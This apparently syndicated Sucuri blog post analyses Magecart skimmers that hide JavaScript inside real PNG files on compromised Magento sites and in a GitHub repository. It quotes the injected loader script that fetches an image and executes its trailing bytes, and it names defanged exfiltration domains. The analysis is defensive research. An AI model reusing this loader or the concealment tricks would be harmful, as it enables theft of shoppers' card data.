Skimmers in Images & GitHub Repos

MalwareBytes recently shared some information about web skimmers that store malicious code inside real .ico files.

During a routine investigation, we detected a similar issue. Instead of targeting .ico files, however, attackers chose to inject content into real .png files — both on compromised sites and in booby trapped Magento repos on GitHub.


Our security analyst Keith Petkus found this piece of malware injected on a compromised Magento 2.x site.

<script>...i();async function i() {let x92 = await fetch('/pub/media/wysiwyg/m2themes/googletagmanager.png');if (x92.ok) {let x = await x92.text();var F = new Function (x.slice(-34905));return(F());}}</script>

This code was found appended to real Google Tag Manager code, so seeing a reference to googletagmanager.png might not spark suspicion at first glance. Moreover, it’s a valid .png image from the same site.

Google Tag Manager PNG

JavaScript Inside .png

Nonetheless, the code is not typical for Google Tag Manager. If you inspect it closely, you’ll notice that it loads contents of the image file and then executes part of it (x.slice(-34905)) as a JavaScript function.

If we check the contents of googletagmanager.png, it appears to be a regular binary .png file, including proper PNG file signatures and chunk marks such as IHDR and IEND.

Raw content PNG
Raw content of the googletagmanager.png file

However, after the end of the last chunk (IEND), we can see JavaScript code. This code is ignored by image viewers, but you can access it if you work with the .png file as if it was a regular text file. In our case, the malware extracts the last 34,905 bytes of the file.

Skimmer Code

After deobfuscation, a typical Magecart skimmer code is revealed containing modifications that prevent someone from seeing the exfiltration gate right away.

Skimmer parameters in malware
Tell tale skimmer parameters

The following code is responsible for computing the URL of the gate.

Decoding exfiltration gates
Decoding the exfiltration gate URL

What we see here is the malware which attempts to load mage.png file from a GitHub repository (hxxps://raw.githubusercontent[.]com/mag202/magento/master/pub/media/downloadable/mage.png), then conduct some operations with chunks of its contents.

Mag202/Magento GitHub Repository

Indeed, at we find a repository of a beta version of Magento 2.4 created by the user mag202 on April 4, 2020.

Magento Repository
Mag202/Magento repository on GitHub

Unsurprisingly, we found the suspected  magento/pub/media/downloadable/mage.png file within the repo.

Magento Repository mag202
magento/pub/media/downloadable/mage.png in the mag202/magento repository

Exfil URL in hidden in mage.png

A quick lookup in the official Magento repository reveals that this directory shouldn’t contain this  mage.png file. In fact, it doesn’t have any image files at all.

When checking the raw contents of this file, we find this encrypted text at the very bottom after the IEND signature.

raw contents with encrypted text
Malicious part of mage.png

Since we have the actual JavaScript code that decrypts it, we retrieved this exfiltration gate URL: “hxxps://fontsgoogle-apis[.]com/v14/“.

Commit History

One cool feature of version control systems is that they keep track of all repository modifications. This mag202/magento repository on GitHub also has a public commit history.

Commit history
Commit history of mag202/magento

The commit history basically consists of a series of uploads and deletions for the malicious mage.png file. The hacker modifies the appended malicious code in these files and uploads new versions either in pub/media/downloadable/mage.png or app/design/frontend/Magento/luma/media/mage.png.

All historical versions of these files are also available on GitHub. For example, the version from April 10 of magento/app/design/frontend/Magento/luma/media/mage.png contained the following code appended at the end.

Historical Malware
Historical version of malware in mage.png

At this point, it was real JavaScript code rather than just encrypted text. The purpose of this code was the same, however — to hide the exfiltration details and allow the attacker to update it through GitHub at their convenience.

After its execution, we get the exfiltration URL:


This is the same URL found in images loaded by similar skimmer malware.

  • Nov 4, 2019: googletag-manager[.]com was registered.
  • May 2nd, 2020: fontsgoogle-apis[.]com (used by the latest version of the malware) is registered. It is hosted on the server with IP

This same server also hosts the soon-to-be-expired domain gstatlcs[.]com, which was registered on July 23rd, 2019.


Web skimmer operators are always actively searching for new methods to prevent detection of their malware on compromised websites.

This time, we found them combining four popular tricks to conceal their malicious code:

  1. Including requests to usually benign static content (e.g. stylesheets or images) that are normally less scrutinized in traffic monitoring or static file analysis. (1, 2)
  2. Planting malicious code inside real images. (1, 2, 3)
  3. Hosting malicious files on popular legitimate websites such as GitHub. (1, 2, 3).
  4. Using misleading variable names, filenames, and domains to make people believe they belong to a reputable popular service (in this case, Google Tag Manager). (1, 2).

While this approach may make it more difficult to spot the malware for third-party researchers, webmasters who implement integrity control checks or website monitoring services should be able to detect addition of new files to the system or changes in existing files.

*** This is a Security Bloggers Network syndicated blog from Sucuri Blog authored by Denis Sinegubko. Read the original post at: